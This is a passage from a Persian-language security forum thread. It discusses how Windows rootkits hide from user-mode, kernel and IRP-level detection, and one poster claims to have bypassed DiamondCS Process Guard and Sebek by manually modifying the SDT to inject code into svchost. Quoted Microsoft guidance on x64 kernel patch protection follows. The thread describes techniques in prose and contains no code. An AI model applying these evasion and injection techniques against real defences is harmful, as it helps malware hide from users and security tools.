    - تا وقتی از توابع سطح کاربری مانند ReadFile استفاده میکنی حتی یک روتکیت ساده سطح کاربر با API Hooking و Redirection اشاره گر میتونه خودش رو پنهان کنه

    - تا وقتی از توابع سطح کرنلی مانند ZwReadFile استفاده میکنی یک روتیکت سطح کرنل نه چندان پیشرفته میتونه با Kernel Hooking یا بررسی Kernel Object های فراخوانده شده به حافظه و دستکاری اونها خودش رو مخفی کنه

    - تا وقتی از IRP و توابع درایوهای سطح پائین مانند درایور دیسک سخت استفاده میکنی روتیکهای نسبتا" خوب سطح کرنل میتونن با IRP Hooking/Filtering درخواستها رو مشاهده و در صورت تمایل محتویات اونها رو تغییر بدن و باز هم مخفی بمونن

    - و ...احتمالا" آخرین راهی که برای شناسائی روتیکتهای خفن و حرفه ای باقی میمونه ، ارتباط مستقیم با سخت افزار است ، مثلا" اتصال مستقیم به کنترلر دیسک سخت ؛ و این یعنی ارسال مستقیم دستورات زبان ماشین به کنترلر و پردازش پاسخها ، ایضا" به معنای لزوم شناسائی کامل عملکرد فایل سیستم و ... ؛

    هوشمندی آنتی ویروسی مانند KAV تا جائی قابل تحسینه که میتونه انواع فراخوانی های سطح کاربر و سطح کرنل ( محدود به NDTLL و NTOSKRNL ) توابع حساسی مانند OpenProcess, OpenSCManager ZwSetSystemInformation و امثالهم رو شناسائی و عملکردشون رو زیر نظر بگیره ، اما در مقابل استفاده از نسخه های مجاز توابعی از این دست روی حافظه که توسط برنامه های مجاز ، حتی خود آنتی ویروس ! فراخوانی شده اند چه ؟ در مورد استفاده از موتورهای پیچیده متامورفیک چه ؟ و ...

    - یه ضرب المثل قدیمی ایتالیائی میگه دن خوآنو زرو ایتو مالیانو ؛ یعنی وقتی آدمها اغلب خودشون اقدام به خودکشی میکنند ، چرا برای کشتن اونها یه قاتل حرفه ای استخدام کنیم ؟

    eWeek چندی پیش طی گزارشی که از چند موسسه امنیتی جمع آوری شده بود اعلام کرد ، بیش از نیمی از کاربران اینترنت از راه حلهای امنیتی مانند فایروال و ضد ویروس و ... استفاده نمیکنند ، بیش از شصت درصد کاربران چیزهای زیادی دربارهء فرهنگ به روز نگهداری نرم افزارها نمیدونن و ... ، فقط کمی بیشتر از سی درصد کاربران ویندوز از اتوآپدیت استفاده میکنند ...

    :wise2:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  36. #36
    DiamondCS Process Guard : راه حل امنیتی متداولی برای حفاظت از پروسه های حساس سیستم و پروسه های مورد نظر ، در مقابل دستکاریهای غیر مجاز و سوء استفاده از مجوز است . روش اصلی این راه حل کنترل توابعی مانند zwCreateFile و ... حفاظت از پروسه است و از دو Hook سطح کاربر و سطح کرنل استفاده میکنه . با تشکر از kd و با تغییر دستی SDT ( یا Service Dispatch Table ) موفق شدم کدهای مورد نظرم رو تو کانتکست پروسه ای نظیر svchost اجرا کنم . این راه حل امنیتی برای رده سنی الف مناسب است .

    Sebek : چیزی شبیه یک Honeypot است اما برای بررسی دقیق عملکرد پروسه ها و نحوهء تعامل کاربران و سایر پروسه ها با روندهای جاری سیستم . کامپوننت اولش یک درایور است که فعالیت سیستم رو گزارش میکنه و کامپوننت دوم انالایزری است که عملکردهای گزارش شده رو تجزیه و تحلیل میکنه و در واقع عضو اصلی و قابل بررسی است فایل sebek.sys است . Sebek هم روی Native API هائی مانند zwReadFile و امثال اون Hook نصب میکنه و با تغییر دستی SDT میشه از این توابع بدون نگرانی در مورد Hooker استفاده کرد . این راه حل امنیتی برای Teenager ها مناسب است .

    توضیح 1 : تا وقتی توسعه گران روشهای حفاظتی ، نمیدونن سیستم عامل مورد نظرشون ، دقیقا" چطور کار میکنه ، چطور در مورد قابلیتها و میزان اطمینان بخش بودن برنامه هایشان تبلیغ میکنند ؟

    توضیح 2 : مطالعه در مورد نحوهء عملکرد Hook و تاثیر SDT : نیم ساعت ؛ توسعه کدی برای تست موارد مورد نظر ( فراخوانی توابع Native و Process Injection ) نیم ساعت ؛ بررسی عملکرد نرم افزار مطلوب با تشکر از سافت آیس : یک ساعت ؛ تست : ده دقیقه .

    موفق باشید
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  37. #37
    به نظر میرسه میزان تغییراتی که مایکروسافت روی کرنل NT برای انتشار لانگهورن ایجاد خواهد کرد بیشتر از اونیه که انتظارش میرفت . نوشته های پراکنده کسانی که در حال بررسی دقیق جوانب مختلف لانگهورن قبل از انتشار اون هستند نشون میده با تغییر بعضی از اجزاء حیاتی کرنل ، خصوصا" معماری NDIS و TDI ، احتمالا" اگر سازگاری با مدل قبلی حفظ نشه ، توسعه گران فایروالهای و آنتی ویروسها مجبور به بازنویسی بخشهای مهمی از نرم افزارهاشون خواهند شد .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  38. #38
    Microsoft® Windows® Server 2003 SP1 and later versions of Windows for x64-based systems do not allow the kernel to be patched except through authorized Microsoft-originated hot patches. (In this article, "x64" refers to the 64-bit architecture used in AMD64 and Intel Extended Memory 64 Technology systems.)

    Kernel-mode drivers that extend or replace kernel services through undocumented means (such as hooking the system service tables) can interfere with other software and affect the stability of the operating system. For x86-based systems, Microsoft discourages such practices but does not prevent them programmatically, because doing so would break compatibility for a significant amount of released software. A similar base of released software does not exist for x64-based systems, so it is possible to add this level of protection to the kernel without breaking compatibility.

    Many system structures are protected on x64-based systems, including the system service dispatch tables, the interrupt descriptor table (IDT), and the global descriptor table (GDT). The operating system also does not allow third-party software to allocate memory "on the side" and use it as a kernel stack. If the operating system detects one of these modifications or any other unauthorized patch, it will generate a bug check and shut down the system.

    For compatibility with Windows for x64-based systems, drivers must avoid the following practices:

    • Modifying system service tables, for example, by hooking KeServiceDescriptorTable

    • Modifying the IDT

    • Modifying the GDT

    • Using kernel stacks that are not allocated by the kernel

    • Patching any part of the kernel (detected on AMD64-based systems only)


    Drivers for other platforms should avoid these practices, to help ensure stability and reliability of the operating system and a better experience for customers.

    If your driver must perform a task that you feel cannot be accomplished without patching the kernel, contact Microsoft Product Support Services or your Microsoft representative.


  39. #39

  40. #40
    آنتی هکر کسپراسکی حتی وقتی در حالت Allow All تنظیم شده پکتهای ICMP دریافتی رو دراپ میکنه ؛ یعنی بهر حال با وجود آنتی هکر ، حتی بدون هیچ فیلتری کسی نمیتونه سیستم مذکور رو پینگ کنه .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

صفحه 1 از 2 12 آخرآخر

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •